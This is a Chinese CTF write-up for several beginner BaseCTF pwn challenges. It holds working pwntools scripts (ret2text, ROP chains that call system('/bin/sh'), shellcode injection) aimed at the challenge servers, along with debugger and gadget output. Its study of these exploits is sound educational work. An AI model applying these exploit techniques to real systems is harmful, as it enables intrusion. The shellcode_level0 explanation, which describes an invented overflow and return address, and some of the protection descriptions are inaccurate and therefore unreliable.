签个到吧

Hint:怎么连接靶机呢
$ nc gz.imxbt.cn 20605
ls
cat flag

echo

Hint:binsh目录下只有echo? echo flag??
$ nc gz.imxbt.cn 20139
ls
/bin/bash: line 1: ls: command not found
echo flag
flag
./flag
./flag: line 1: BaseCTF{}: command not found
或者
echo `</flag`

Ret2text

Hint:原来栈是可以溢出的!

点击下载: Ret2text

→ checksec Ret2text
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

64位,启用了栈执行保护,进一步增强 NX 机制,明确禁止栈内存执行代码。

int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

read(0, buf, 0x100uLL);
return 0;
}

int dt_gift()
{
puts("lol,you get dt's gitf");
return system("/bin/sh");
}
.text:00000000004011A4                 public dt_gift
.text:00000000004011A4 dt_gift proc near
.text:00000000004011A4 ; __unwind {
.text:00000000004011A4 endbr64
.text:00000000004011A8 push rbp
.text:00000000004011A9 mov rbp, rsp
.text:00000000004011AC lea rax, s ; "lol,you get dt's gitf"
.text:00000000004011B3 mov rdi, rax ; s
.text:00000000004011B6 call _puts
.text:00000000004011BB lea rax, command ; "/bin/sh"
.text:00000000004011C2 mov rdi, rax ; command
.text:00000000004011C5 mov eax, 0
.text:00000000004011CA call _system
.text:00000000004011CF nop
.text:00000000004011D0 pop rbp
.text:00000000004011D1 retn
.text:00000000004011D1 ; } // starts at 4011A4
.text:00000000004011D1 dt_gift endp
.text:00000000004011D1
.text:00000000004011D1 _text ends
from pwn import *
#io=process('./Ret2text')
io=remote('gz.imxbt.cn',20138)
addr=0x4011BB
payload=b'b'*(0x20+8)+p64(addr)
io.sendline(payload)
io.interactive()

彻底失去她

Hint:函数好多参数怎么办,怎么找不到她了

点击下载: 彻底失去她

checksec一下

$ checksec pwn1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

只有数据段不可执行保护,64位程序,扔进ida里

int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

init(argc, argv, envp);
puts("Thank you for helping me find her.");
puts("But she has left me for good this time, what should I do?");
puts("By the way, I still don't know your name, could you tell me your name?");
read(0, buf, 0x100uLL);
return 0;
}

发现本题仍有system函数,只是通过查找发现本题没有/bin/sh字符串,所以我们需要调用read函数,将/bin/sh写入.bss段后,再调用system函数,read函数的三个参数顺序位rdi rsi rdx,依次布置为0,buf,0x10,然后这时候read函数调用的就是read(0,buf,0x10)

查找一下相关命令的地址

$ ROPgadget --binary pwn1 --only 'pop|ret'
Gadgets information
============================================================
0x000000000040117d : pop rbp ; ret
0x0000000000401196 : pop rdi ; ret
0x0000000000401265 : pop rdx ; ret
0x00000000004011ad : pop rsi ; ret
0x000000000040101a : ret

Unique gadgets found: 5
.bss:00000000004040A0                 public buffer
.bss:00000000004040A0 buffer db ? ;
from pwn import *
#context(log_level='debug',arch='amd64',os='linux')
#io=process('./pwn1')
io=remote("gz.imxbt.cn",20153)
elf=ELF('./pwn1')
system_plt=elf.plt['system']
read=elf.sym['read']
pop_rdi_ret=0x401196
pop_rsi_ret=0x4011ad
pop_rdx_ret=0x401265
bss=0x4040a0
payload=b'a'*(0xa+8)
payload+=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)+p64(bss)
payload+=p64(pop_rdx_ret)+p64(0x10)
payload+=p64(read)#read(0,buf,0x10)
payload+=p64(pop_rdi_ret)+p64(bss)+p64(system_plt)
io.sendline(payload)
io.sendline(b'/bin/sh\x00')#x00为字符串结束符
io.interactive()

我把她丢了

Hint:我把她丢了,你能帮我找到她吗

点击下载: 我把她丢了

checksec一下

$ checksec pwn2
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

发现文件只开启了数据段不可执行的保护,64位的可执行文件。接着丢进64位ida里

ssize_t vuln()
{
char buf[112]; // [rsp+0h] [rbp-70h] BYREF

puts("I lost her, what should I do? Help me find her.");
return read(0, buf, 0x150uLL);
}
int shell()
{
return system("echo I beleve you.");
}

发现了后门函数,可是后门函数中的参数不是我们所期待的/bin/sh,所以我们接下来有两种想法:1.查找该程序中是否含有/bin/sh,有则构造栈帧,将其作为system的参数进行调用

2.若不含有,则手动输入/bin/sh

通过查找发现/bin/sh存在

.rodata:0000000000402008		aBinSh          db '/bin/sh',0          ; DATA XREF: .data:hidden_str↓o

所以,接下来我们就要构造栈帧,因为该程序为64位程序,64位程序传参和32位程序传参有差异:

当程序参数不超过6个时,参数按需使用rdi、rsi、rdx、rcx、r8d和r9d寄存器传递到子函数
当参数超过6个时,前6个参数传递方式不变,从第七个参数起,后面的参数都通过栈传递
所以我们需要找到pop_edi_ret指令的地址和ret的地址。

$ ROPgadget --binary pwn2 --only 'pop|ret'
Gadgets information
============================================================
0x000000000040117d : pop rbp ; ret
0x0000000000401196 : pop rdi ; ret
0x000000000040101a : ret

Unique gadgets found: 3

接下来我们payload的构造思路为,先利用pop_edi_ret指令将/bin/sh字符串地址放在edi里,然后调用system函数的plt表,获取shell

from pwn import *
#io=process('./pwn2')
io=remote("gz.imxbt.cn",20159)
elf=ELF('./pwn2')
bin_sh=0x402008
system_plt=elf.plt['system']
pop_rdi_ret=0x401196
ret=0x40101a
payload=b'a'*(0x70+8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(system_plt)
io.sendline(payload)
io.interactive()
高地址
+-----------------------------+
|system@plt 地址 |
+-----------------------------+
| ret 地址 0x40101a |
+-----------------------------+
| "/bin/sh" 地址 0x402008 |
+-----------------------------+
| pop rdi; ret 地址 0x401196 |
+-----------------------------+
|覆盖的ebp (8字节)(通常为垃圾值) |
+-----------------------------+
|填充数据 (0x70字节) b'a' * 0x70 |
+-----------------------------+
低地址

shellcode_level0

Hint:该怎么样编写一段getshell的shellcode呢

点击下载: shellcode_level0

Checksec 查看保护

$ checksec shellcode_level0
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

开启了RELRO,这使得整个重定位表都是可读的,同时还开启了NX保护,使得数据段不可执行,文件为64位的可执行文件

int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+0h] [rbp-10h]

init(argc, argv, envp);
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( buf == (void *)-1LL )
{
perror("mmap");
exit(1);
}
printf("please input shellcode: ");
read(0, buf, 0x100uLL);
((void (*)(void))buf)();
return 0;
}

通过检查未发现后门函数,且read函数存在栈溢出漏洞,所以此题的思路为构造shellcode,将shellcode写入可以控制的执行流内,并将函数的返回地址修改为shellcode所在的地址,从而获取shell。

──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ rsp 0x7ffe7cd48cb8 —▸ 0x5885aecdf2ea (main+156) ◂— mov eax, 0
01:0008│-010 0x7ffe7cd48cc0 —▸ 0x787fa03bc000 ◂— 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n'
02:0010│-008 0x7ffe7cd48cc8 —▸ 0x787fa03bc000 ◂— 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n'
03:0018│ rbp 0x7ffe7cd48cd0 —▸ 0x7ffe7cd48d70 —▸ 0x7ffe7cd48dd0 ◂— 0
04:0020│+008 0x7ffe7cd48cd8 —▸ 0x787fa01ca1ca (__libc_start_call_main+122) ◂— mov edi, eax
05:0028│+010 0x7ffe7cd48ce0 —▸ 0x7ffe7cd48d20 —▸ 0x5885aece1d98 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5885aecdf1a0 (__do_global_dtors_aux) ◂— endbr64
06:0030│+018 0x7ffe7cd48ce8 —▸ 0x7ffe7cd48df8 —▸ 0x7ffe7cd4a6f4 ◂— '/CTF/shellcode_level0'
07:0038│+020 0x7ffe7cd48cf0 ◂— 0x1aecde040

溢出长度为0x18

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#io=process('./shellcode_level0')
io=remote('gz.imxbt.cn',20145)
shellcode=asm(shellcraft.amd64.sh())
buf_addr=0x10
payload=shellcode.ljust(0x18,b'a')+p64(buf_addr)
io.sendline(payload)
io.interactive()
或者
from pwn import*
context(arch='amd64')
p=process('./shellcode_level0')
#p=remote('challenge.basectf.fun',28688)
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()